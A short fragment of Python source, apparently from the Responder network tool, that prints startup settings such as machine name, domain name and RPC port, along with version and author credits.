|
||||
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
|
||||
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
|
||||
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
|
||||
|
||||
|
||||
#credits
|
||||
print('')
|
||||
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
|
||||
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")
|
||||
|
||||
Reference in New Issue
Block a user